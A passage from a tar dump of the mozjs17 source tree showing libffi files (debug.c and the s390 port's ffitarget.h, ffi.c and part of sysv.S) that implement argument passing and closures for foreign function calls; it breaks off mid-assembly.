1) * Propagate failure in realloc if malloc returns 0 * Add stuff to allow compilation on non-ANSI compilers from kpv@research.att.com V2.5 Sat Aug 7 07:41:59 1993 Doug Lea (dl at g.oswego.edu) * removed potential for odd address access in prev_chunk * removed dependency on getpagesize.h * misc cosmetics and a bit more internal documentation * anticosmetics: mangled names in macros to evade debugger strangeness * tested on sparc, hp-700, dec-mips, rs6000 with gcc & native cc (hp, dec only) allowing Detlefs & Zorn comparison study (in SIGPLAN Notices.) Trial version Fri Aug 28 13:14:29 1992 Doug Lea (dl at g.oswego.edu) * Based loosely on libg++-1.2X malloc. (It retains some of the overall structure of old version, but most details differ.) */ mozjs17.0.0/js/src/ctypes/libffi/src/debug.c0000664000175000017500000000427112106270662020572 0ustar sstanglsstangl/* ----------------------------------------------------------------------- debug.c - Copyright (c) 1996 Red Hat, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #include /* General debugging routines */ void ffi_stop_here(void) { /* This function is only useful for debugging purposes. Place a breakpoint on ffi_stop_here to be notified of significant events. */ } /* This function should only be called via the FFI_ASSERT() macro */ void ffi_assert(char *expr, char *file, int line) { fprintf(stderr, "ASSERTION FAILURE: %s at %s:%d\n", expr, file, line); ffi_stop_here(); abort(); } /* Perform a sanity check on an ffi_type structure */ void ffi_type_test(ffi_type *a, char *file, int line) { FFI_ASSERT_AT(a != NULL, file, line); FFI_ASSERT_AT(a->type <= FFI_TYPE_LAST, file, line); FFI_ASSERT_AT(a->type == FFI_TYPE_VOID || a->size > 0, file, line); FFI_ASSERT_AT(a->type == FFI_TYPE_VOID || a->alignment > 0, file, line); FFI_ASSERT_AT(a->type != FFI_TYPE_STRUCT || a->elements != NULL, file, line); } mozjs17.0.0/js/src/ctypes/libffi/src/s390/0000775000175000017500000000000012106270662020032 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/s390/ffitarget.h0000664000175000017500000000367112106270662022165 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for S390. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #if defined (__s390x__) #ifndef S390X #define S390X #endif #endif /* ---- System specific configurations ----------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #ifdef S390X #define FFI_TRAMPOLINE_SIZE 32 #else #define FFI_TRAMPOLINE_SIZE 16 #endif #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/s390/ffi.c0000664000175000017500000005456112106270662020755 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 2000, 2007 Software AG Copyright (c) 2008 Red Hat, Inc S390 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ /*====================================================================*/ /* Includes */ /* -------- */ /*====================================================================*/ #include #include #include #include /*====================== End of Includes =============================*/ /*====================================================================*/ /* Defines */ /* ------- */ /*====================================================================*/ /* Maximum number of GPRs available for argument passing. */ #define MAX_GPRARGS 5 /* Maximum number of FPRs available for argument passing. */ #ifdef __s390x__ #define MAX_FPRARGS 4 #else #define MAX_FPRARGS 2 #endif /* Round to multiple of 16. */ #define ROUND_SIZE(size) (((size) + 15) & ~15) /* If these values change, sysv.S must be adapted! */ #define FFI390_RET_VOID 0 #define FFI390_RET_STRUCT 1 #define FFI390_RET_FLOAT 2 #define FFI390_RET_DOUBLE 3 #define FFI390_RET_INT32 4 #define FFI390_RET_INT64 5 /*===================== End of Defines ===============================*/ /*====================================================================*/ /* Prototypes */ /* ---------- */ /*====================================================================*/ static void ffi_prep_args (unsigned char *, extended_cif *); void #if __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ > 2) __attribute__ ((visibility ("hidden"))) #endif ffi_closure_helper_SYSV (ffi_closure *, unsigned long *, unsigned long long *, unsigned long *); /*====================== End of Prototypes ===========================*/ /*====================================================================*/ /* Externals */ /* --------- */ /*====================================================================*/ extern void ffi_call_SYSV(unsigned, extended_cif *, void (*)(unsigned char *, extended_cif *), unsigned, void *, void (*fn)(void)); extern void ffi_closure_SYSV(void); /*====================== End of Externals ============================*/ /*====================================================================*/ /* */ /* Name - ffi_check_struct_type. */ /* */ /* Function - Determine if a structure can be passed within a */ /* general purpose or floating point register. */ /* */ /*====================================================================*/ static int ffi_check_struct_type (ffi_type *arg) { size_t size = arg->size; /* If the struct has just one element, look at that element to find out whether to consider the struct as floating point. */ while (arg->type == FFI_TYPE_STRUCT && arg->elements[0] && !arg->elements[1]) arg = arg->elements[0]; /* Structs of size 1, 2, 4, and 8 are passed in registers, just like the corresponding int/float types. */ switch (size) { case 1: return FFI_TYPE_UINT8; case 2: return FFI_TYPE_UINT16; case 4: if (arg->type == FFI_TYPE_FLOAT) return FFI_TYPE_FLOAT; else return FFI_TYPE_UINT32; case 8: if (arg->type == FFI_TYPE_DOUBLE) return FFI_TYPE_DOUBLE; else return FFI_TYPE_UINT64; default: break; } /* Other structs are passed via a pointer to the data. */ return FFI_TYPE_POINTER; } /*======================== End of Routine ============================*/ /*====================================================================*/ /* */ /* Name - ffi_prep_args. */ /* */ /* Function - Prepare parameters for call to function. */ /* */ /* ffi_prep_args is called by the assembly routine once stack space */ /* has been allocated for the function's arguments. */ /* */ /*====================================================================*/ static void ffi_prep_args (unsigned char *stack, extended_cif *ecif) { /* The stack space will be filled with those areas: FPR argument register save area (highest addresses) GPR argument register save area temporary struct copies overflow argument area (lowest addresses) We set up the following pointers: p_fpr: bottom of the FPR area (growing upwards) p_gpr: bottom of the GPR area (growing upwards) p_ov: bottom of the overflow area (growing upwards) p_struct: top of the struct copy area (growing downwards) All areas are kept aligned to twice the word size. */ int gpr_off = ecif->cif->bytes; int fpr_off = gpr_off + ROUND_SIZE (MAX_GPRARGS * sizeof (long)); unsigned long long *p_fpr = (unsigned long long *)(stack + fpr_off); unsigned long *p_gpr = (unsigned long *)(stack + gpr_off); unsigned char *p_struct = (unsigned char *)p_gpr; unsigned long *p_ov = (unsigned long *)stack; int n_fpr = 0; int n_gpr = 0; int n_ov = 0; ffi_type **ptr; void **p_argv = ecif->avalue; int i; /* If we returning a structure then we set the first parameter register to the address of where we are returning this structure. */ if (ecif->cif->flags == FFI390_RET_STRUCT) p_gpr[n_gpr++] = (unsigned long) ecif->rvalue; /* Now for the arguments. */ for (ptr = ecif->cif->arg_types, i = ecif->cif->nargs; i > 0; i--, ptr++, p_argv++) { void *arg = *p_argv; int type = (*ptr)->type; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE /* 16-byte long double is passed like a struct. */ if (type == FFI_TYPE_LONGDOUBLE) type = FFI_TYPE_STRUCT; #endif /* Check how a structure type is passed. */ if (type == FFI_TYPE_STRUCT) { type = ffi_check_struct_type (*ptr); /* If we pass the struct via pointer, copy the data. */ if (type == FFI_TYPE_POINTER) { p_struct -= ROUND_SIZE ((*ptr)->size); memcpy (p_struct, (char *)arg, (*ptr)->size); arg = &p_struct; } } /* Now handle all primitive int/pointer/float data types. */ switch (type) { case FFI_TYPE_DOUBLE: if (n_fpr < MAX_FPRARGS) p_fpr[n_fpr++] = *(unsigned long long *) arg; else #ifdef __s390x__ p_ov[n_ov++] = *(unsigned long *) arg; #else p_ov[n_ov++] = ((unsigned long *) arg)[0], p_ov[n_ov++] = ((unsigned long *) arg)[1]; #endif break; case FFI_TYPE_FLOAT: if (n_fpr < MAX_FPRARGS) p_fpr[n_fpr++] = (long long) *(unsigned int *) arg << 32; else p_ov[n_ov++] = *(unsigned int *) arg; break; case FFI_TYPE_POINTER: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = (unsigned long)*(unsigned char **) arg; else p_ov[n_ov++] = (unsigned long)*(unsigned char **) arg; break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: #ifdef __s390x__ if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(unsigned long *) arg; else p_ov[n_ov++] = *(unsigned long *) arg; #else if (n_gpr == MAX_GPRARGS-1) n_gpr = MAX_GPRARGS; if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = ((unsigned long *) arg)[0], p_gpr[n_gpr++] = ((unsigned long *) arg)[1]; else p_ov[n_ov++] = ((unsigned long *) arg)[0], p_ov[n_ov++] = ((unsigned long *) arg)[1]; #endif break; case FFI_TYPE_UINT32: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(unsigned int *) arg; else p_ov[n_ov++] = *(unsigned int *) arg; break; case FFI_TYPE_INT: case FFI_TYPE_SINT32: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(signed int *) arg; else p_ov[n_ov++] = *(signed int *) arg; break; case FFI_TYPE_UINT16: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(unsigned short *) arg; else p_ov[n_ov++] = *(unsigned short *) arg; break; case FFI_TYPE_SINT16: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(signed short *) arg; else p_ov[n_ov++] = *(signed short *) arg; break; case FFI_TYPE_UINT8: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(unsigned char *) arg; else p_ov[n_ov++] = *(unsigned char *) arg; break; case FFI_TYPE_SINT8: if (n_gpr < MAX_GPRARGS) p_gpr[n_gpr++] = *(signed char *) arg; else p_ov[n_ov++] = *(signed char *) arg; break; default: FFI_ASSERT (0); break; } } } /*======================== End of Routine ============================*/ /*====================================================================*/ /* */ /* Name - ffi_prep_cif_machdep. */ /* */ /* Function - Perform machine dependent CIF processing. */ /* */ /*====================================================================*/ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { size_t struct_size = 0; int n_gpr = 0; int n_fpr = 0; int n_ov = 0; ffi_type **ptr; int i; /* Determine return value handling. */ switch (cif->rtype->type) { /* Void is easy. */ case FFI_TYPE_VOID: cif->flags = FFI390_RET_VOID; break; /* Structures are returned via a hidden pointer. */ case FFI_TYPE_STRUCT: cif->flags = FFI390_RET_STRUCT; n_gpr++; /* We need one GPR to pass the pointer. */ break; /* Floating point values are returned in fpr 0. */ case FFI_TYPE_FLOAT: cif->flags = FFI390_RET_FLOAT; break; case FFI_TYPE_DOUBLE: cif->flags = FFI390_RET_DOUBLE; break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: cif->flags = FFI390_RET_STRUCT; n_gpr++; break; #endif /* Integer values are returned in gpr 2 (and gpr 3 for 64-bit values on 31-bit machines). */ case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: cif->flags = FFI390_RET_INT64; break; case FFI_TYPE_POINTER: case FFI_TYPE_INT: case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: case FFI_TYPE_UINT16: case FFI_TYPE_SINT16: case FFI_TYPE_UINT8: case FFI_TYPE_SINT8: /* These are to be extended to word size. */ #ifdef __s390x__ cif->flags = FFI390_RET_INT64; #else cif->flags = FFI390_RET_INT32; #endif break; default: FFI_ASSERT (0); break; } /* Now for the arguments. */ for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { int type = (*ptr)->type; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE /* 16-byte long double is passed like a struct. */ if (type == FFI_TYPE_LONGDOUBLE) type = FFI_TYPE_STRUCT; #endif /* Check how a structure type is passed. */ if (type == FFI_TYPE_STRUCT) { type = ffi_check_struct_type (*ptr); /* If we pass the struct via pointer, we must reserve space to copy its data for proper call-by-value semantics. */ if (type == FFI_TYPE_POINTER) struct_size += ROUND_SIZE ((*ptr)->size); } /* Now handle all primitive int/float data types. */ switch (type) { /* The first MAX_FPRARGS floating point arguments go in FPRs, the rest overflow to the stack. */ case FFI_TYPE_DOUBLE: if (n_fpr < MAX_FPRARGS) n_fpr++; else n_ov += sizeof (double) / sizeof (long); break; case FFI_TYPE_FLOAT: if (n_fpr < MAX_FPRARGS) n_fpr++; else n_ov++; break; /* On 31-bit machines, 64-bit integers are passed in GPR pairs, if one is still available, or else on the stack. If only one register is free, skip the register (it won't be used for any subsequent argument either). */ #ifndef __s390x__ case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: if (n_gpr == MAX_GPRARGS-1) n_gpr = MAX_GPRARGS; if (n_gpr < MAX_GPRARGS) n_gpr += 2; else n_ov += 2; break; #endif /* Everything else is passed in GPRs (until MAX_GPRARGS have been used) or overflows to the stack. */ default: if (n_gpr < MAX_GPRARGS) n_gpr++; else n_ov++; break; } } /* Total stack space as required for overflow arguments and temporary structure copies. */ cif->bytes = ROUND_SIZE (n_ov * sizeof (long)) + struct_size; return FFI_OK; } /*======================== End of Routine ============================*/ /*====================================================================*/ /* */ /* Name - ffi_call. */ /* */ /* Function - Call the FFI routine. */ /* */ /*====================================================================*/ void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { int ret_type = cif->flags; extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; ecif.rvalue = rvalue; /* If we don't have a return value, we need to fake one. */ if (rvalue == NULL) { if (ret_type == FFI390_RET_STRUCT) ecif.rvalue = alloca (cif->rtype->size); else ret_type = FFI390_RET_VOID; } switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV (cif->bytes, &ecif, ffi_prep_args, ret_type, ecif.rvalue, fn); break; default: FFI_ASSERT (0); break; } } /*======================== End of Routine ============================*/ /*====================================================================*/ /* */ /* Name - ffi_closure_helper_SYSV. */ /* */ /* Function - Call a FFI closure target function. */ /* */ /*====================================================================*/ void ffi_closure_helper_SYSV (ffi_closure *closure, unsigned long *p_gpr, unsigned long long *p_fpr, unsigned long *p_ov) { unsigned long long ret_buffer; void *rvalue = &ret_buffer; void **avalue; void **p_arg; int n_gpr = 0; int n_fpr = 0; int n_ov = 0; ffi_type **ptr; int i; /* Allocate buffer for argument list pointers. */ p_arg = avalue = alloca (closure->cif->nargs * sizeof (void *)); /* If we returning a structure, pass the structure address directly to the target function. Otherwise, have the target function store the return value to the GPR save area. */ if (closure->cif->flags == FFI390_RET_STRUCT) rvalue = (void *) p_gpr[n_gpr++]; /* Now for the arguments. */ for (ptr = closure->cif->arg_types, i = closure->cif->nargs; i > 0; i--, p_arg++, ptr++) { int deref_struct_pointer = 0; int type = (*ptr)->type; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE /* 16-byte long double is passed like a struct. */ if (type == FFI_TYPE_LONGDOUBLE) type = FFI_TYPE_STRUCT; #endif /* Check how a structure type is passed. */ if (type == FFI_TYPE_STRUCT) { type = ffi_check_struct_type (*ptr); /* If we pass the struct via pointer, remember to retrieve the pointer later. */ if (type == FFI_TYPE_POINTER) deref_struct_pointer = 1; } /* Pointers are passed like UINTs of the same size. */ if (type == FFI_TYPE_POINTER) #ifdef __s390x__ type = FFI_TYPE_UINT64; #else type = FFI_TYPE_UINT32; #endif /* Now handle all primitive int/float data types. */ switch (type) { case FFI_TYPE_DOUBLE: if (n_fpr < MAX_FPRARGS) *p_arg = &p_fpr[n_fpr++]; else *p_arg = &p_ov[n_ov], n_ov += sizeof (double) / sizeof (long); break; case FFI_TYPE_FLOAT: if (n_fpr < MAX_FPRARGS) *p_arg = &p_fpr[n_fpr++]; else *p_arg = (char *)&p_ov[n_ov++] + sizeof (long) - 4; break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: #ifdef __s390x__ if (n_gpr < MAX_GPRARGS) *p_arg = &p_gpr[n_gpr++]; else *p_arg = &p_ov[n_ov++]; #else if (n_gpr == MAX_GPRARGS-1) n_gpr = MAX_GPRARGS; if (n_gpr < MAX_GPRARGS) *p_arg = &p_gpr[n_gpr], n_gpr += 2; else *p_arg = &p_ov[n_ov], n_ov += 2; #endif break; case FFI_TYPE_INT: case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: if (n_gpr < MAX_GPRARGS) *p_arg = (char *)&p_gpr[n_gpr++] + sizeof (long) - 4; else *p_arg = (char *)&p_ov[n_ov++] + sizeof (long) - 4; break; case FFI_TYPE_UINT16: case FFI_TYPE_SINT16: if (n_gpr < MAX_GPRARGS) *p_arg = (char *)&p_gpr[n_gpr++] + sizeof (long) - 2; else *p_arg = (char *)&p_ov[n_ov++] + sizeof (long) - 2; break; case FFI_TYPE_UINT8: case FFI_TYPE_SINT8: if (n_gpr < MAX_GPRARGS) *p_arg = (char *)&p_gpr[n_gpr++] + sizeof (long) - 1; else *p_arg = (char *)&p_ov[n_ov++] + sizeof (long) - 1; break; default: FFI_ASSERT (0); break; } /* If this is a struct passed via pointer, we need to actually retrieve that pointer. */ if (deref_struct_pointer) *p_arg = *(void **)*p_arg; } /* Call the target function. */ (closure->fun) (closure->cif, rvalue, avalue, closure->user_data); /* Convert the return value. */ switch (closure->cif->rtype->type) { /* Void is easy, and so is struct. */ case FFI_TYPE_VOID: case FFI_TYPE_STRUCT: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: #endif break; /* Floating point values are returned in fpr 0. */ case FFI_TYPE_FLOAT: p_fpr[0] = (long long) *(unsigned int *) rvalue << 32; break; case FFI_TYPE_DOUBLE: p_fpr[0] = *(unsigned long long *) rvalue; break; /* Integer values are returned in gpr 2 (and gpr 3 for 64-bit values on 31-bit machines). */ case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: #ifdef __s390x__ p_gpr[0] = *(unsigned long *) rvalue; #else p_gpr[0] = ((unsigned long *) rvalue)[0], p_gpr[1] = ((unsigned long *) rvalue)[1]; #endif break; case FFI_TYPE_POINTER: case FFI_TYPE_UINT32: case FFI_TYPE_UINT16: case FFI_TYPE_UINT8: p_gpr[0] = *(unsigned long *) rvalue; break; case FFI_TYPE_INT: case FFI_TYPE_SINT32: case FFI_TYPE_SINT16: case FFI_TYPE_SINT8: p_gpr[0] = *(signed long *) rvalue; break; default: FFI_ASSERT (0); break; } } /*======================== End of Routine ============================*/ /*====================================================================*/ /* */ /* Name - ffi_prep_closure_loc. */ /* */ /* Function - Prepare a FFI closure. */ /* */ /*====================================================================*/ ffi_status ffi_prep_closure_loc (ffi_closure *closure, ffi_cif *cif, void (*fun) (ffi_cif *, void *, void **, void *), void *user_data, void *codeloc) { FFI_ASSERT (cif->abi == FFI_SYSV); #ifndef __s390x__ *(short *)&closure->tramp [0] = 0x0d10; /* basr %r1,0 */ *(short *)&closure->tramp [2] = 0x9801; /* lm %r0,%r1,6(%r1) */ *(short *)&closure->tramp [4] = 0x1006; *(short *)&closure->tramp [6] = 0x07f1; /* br %r1 */ *(long *)&closure->tramp [8] = (long)codeloc; *(long *)&closure->tramp[12] = (long)&ffi_closure_SYSV; #else *(short *)&closure->tramp [0] = 0x0d10; /* basr %r1,0 */ *(short *)&closure->tramp [2] = 0xeb01; /* lmg %r0,%r1,14(%r1) */ *(short *)&closure->tramp [4] = 0x100e; *(short *)&closure->tramp [6] = 0x0004; *(short *)&closure->tramp [8] = 0x07f1; /* br %r1 */ *(long *)&closure->tramp[16] = (long)codeloc; *(long *)&closure->tramp[24] = (long)&ffi_closure_SYSV; #endif closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } /*======================== End of Routine ============================*/ mozjs17.0.0/js/src/ctypes/libffi/src/s390/sysv.S0000664000175000017500000002504112106270662021164 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 2000 Software AG Copyright (c) 2008 Red Hat, Inc. S390 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifndef __s390x__ .text # r2: cif->bytes # r3: &ecif # r4: ffi_prep_args # r5: ret_type # r6: ecif.rvalue # ov: fn # This assumes we are using gas. .globl ffi_call_SYSV .type ffi_call_SYSV,%function ffi_call_SYSV: .LFB1: stm %r6,%r15,24(%r15) # Save registers .LCFI0: basr %r13,0 # Set up base register .Lbase: lr %r11,%r15 # Set up frame pointer .LCFI1: sr %r15,%r2 ahi %r15,-96-48 # Allocate stack lr %r8,%r6 # Save ecif.rvalue sr %r9,%r9 ic %r9,.Ltable-.Lbase(%r13,%r5) # Load epilog address l %r7,96(%r11) # Load function address st %r11,0(%r15) # Set up back chain ahi %r11,-48 # Register save area .LCFI2: la %r2,96(%r15) # Save area # r3 already holds &ecif basr %r14,%r4 # Call ffi_prep_args lm %r2,%r6,0(%r11) # Load arguments ld %f0,32(%r11) ld %f2,40(%r11) la %r14,0(%r13,%r9) # Set return address br %r7 # ... and call function .LretNone: # Return void l %r4,48+56(%r11) lm %r6,%r15,48+24(%r11) br %r4 .LretFloat: l %r4,48+56(%r11) ste %f0,0(%r8) # Return float lm %r6,%r15,48+24(%r11) br %r4 .LretDouble: l %r4,48+56(%r11) std %f0,0(%r8) # Return double lm %r6,%r15,48+24(%r11) br %r4 .LretInt32: l %r4,48+56(%r11) st %r2,0(%r8) # Return int lm %r6,%r15,48+24(%r11) br %r4 .LretInt64: l %r4,48+56(%r11) stm %r2,%r3,0(%r8) # Return long long lm %r6,%r15,48+24(%r11) br %r4 .Ltable: .byte .LretNone-.Lbase # FFI390_RET_VOID .byte .LretNone-.Lbase # FFI390_RET_STRUCT .byte .LretFloat-.Lbase # FFI390_RET_FLOAT .byte .LretDouble-.Lbase # FFI390_RET_DOUBLE .byte .LretInt32-.Lbase # FFI390_RET_INT32 .byte .LretInt64-.Lbase # FFI390_RET_INT64 .LFE1: .ffi_call_SYSV_end: .size ffi_call_SYSV,.ffi_call_SYSV_end-ffi_call_SYSV .globl ffi_closure_SYSV .type ffi_closure_SYSV,%function ffi_closure_SYSV: .LFB2: stm %r12,%r15,48(%r15) # Save registers .LCFI10: basr %r13,0 # Set up base register .Lcbase: stm %r2,%r6,8(%r15) # Save arguments std %f0,64(%r15) std %f2,72(%r15) lr %r1,%r15 # Set up stack frame ahi %r15,-96 .LCFI11: l %r12,.Lchelper-.Lcbase(%r13) # Get helper function lr %r2,%r0 # Closure la %r3,8(%r1) # GPRs la %r4,64(%r1) # FPRs la %r5,96(%r1) # Overflow st %r1,0(%r15) # Set up back chain bas %r14,0(%r12,%r13) # Call helper l %r4,96+56(%r15) ld %f0,96+64(%r15) # Load return registers lm %r2,%r3,96+8(%r15) lm %r12,%r15,96+48(%r15) br %r4 .align 4 .Lchelper: .long ffi_closure_helper_SYSV-.Lcbase .LFE2: .ffi_closure_SYSV_end: .size ffi_closure_SYSV,.ffi_closure_SYSV_end-ffi_closure_SYSV .section .eh_frame,EH_FRAME_FLAGS,@progbits .Lframe1: .4byte .LECIE1-.LSCIE1 # Length of Common Information Entry .LSCIE1: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version .ascii "zR\0" # CIE Augmentation .uleb128 0x1 # CIE Code Alignment Factor .sleb128 -4 # CIE Data Alignment Factor .byte 0xe # CIE RA Column .uleb128 0x1 # Augmentation size .byte 0x1b # FDE Encoding (pcrel sdata4) .byte 0xc # DW_CFA_def_cfa .uleb128 0xf .uleb128 0x60 .align 4 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 # FDE Length .LASFDE1: .4byte .LASFDE1-.Lframe1 # FDE CIE offset .4byte .LFB1-. # FDE initial location .4byte .LFE1-.LFB1 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI0-.LFB1 .byte 0x8f # DW_CFA_offset, column 0xf .uleb128 0x9 .byte 0x8e # DW_CFA_offset, column 0xe .uleb128 0xa .byte 0x8d # DW_CFA_offset, column 0xd .uleb128 0xb .byte 0x8c # DW_CFA_offset, column 0xc .uleb128 0xc .byte 0x8b # DW_CFA_offset, column 0xb .uleb128 0xd .byte 0x8a # DW_CFA_offset, column 0xa .uleb128 0xe .byte 0x89 # DW_CFA_offset, column 0x9 .uleb128 0xf .byte 0x88 # DW_CFA_offset, column 0x8 .uleb128 0x10 .byte 0x87 # DW_CFA_offset, column 0x7 .uleb128 0x11 .byte 0x86 # DW_CFA_offset, column 0x6 .uleb128 0x12 .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI1-.LCFI0 .byte 0xd # DW_CFA_def_cfa_register .uleb128 0xb .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI2-.LCFI1 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 0x90 .align 4 .LEFDE1: .LSFDE2: .4byte .LEFDE2-.LASFDE2 # FDE Length .LASFDE2: .4byte .LASFDE2-.Lframe1 # FDE CIE offset .4byte .LFB2-. # FDE initial location .4byte .LFE2-.LFB2 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI10-.LFB2 .byte 0x8f # DW_CFA_offset, column 0xf .uleb128 0x9 .byte 0x8e # DW_CFA_offset, column 0xe .uleb128 0xa .byte 0x8d # DW_CFA_offset, column 0xd .uleb128 0xb .byte 0x8c # DW_CFA_offset, column 0xc .uleb128 0xc .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI11-.LCFI10 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 0xc0 .align 4 .LEFDE2: #else .text # r2: cif->bytes # r3: &ecif # r4: ffi_prep_args # r5: ret_type # r6: ecif.rvalue # ov: fn # This assumes we are using gas. .globl ffi_call_SYSV .type ffi_call_SYSV,%function ffi_call_SYSV: .LFB1: stmg %r6,%r15,48(%r15) # Save registers .LCFI0: larl %r13,.Lbase # Set up base register lgr %r11,%r15 # Set up frame pointer .LCFI1: sgr %r15,%r2 aghi %r15,-160-80 # Allocate stack lgr %r8,%r6 # Save ecif.rvalue llgc %r9,.Ltable-.Lbase(%r13,%r5) # Load epilog address lg %r7,160(%r11) # Load function address stg %r11,0(%r15) # Set up back chain aghi %r11,-80 # Register save area .LCFI2: la %r2,160(%r15) # Save area # r3 already holds 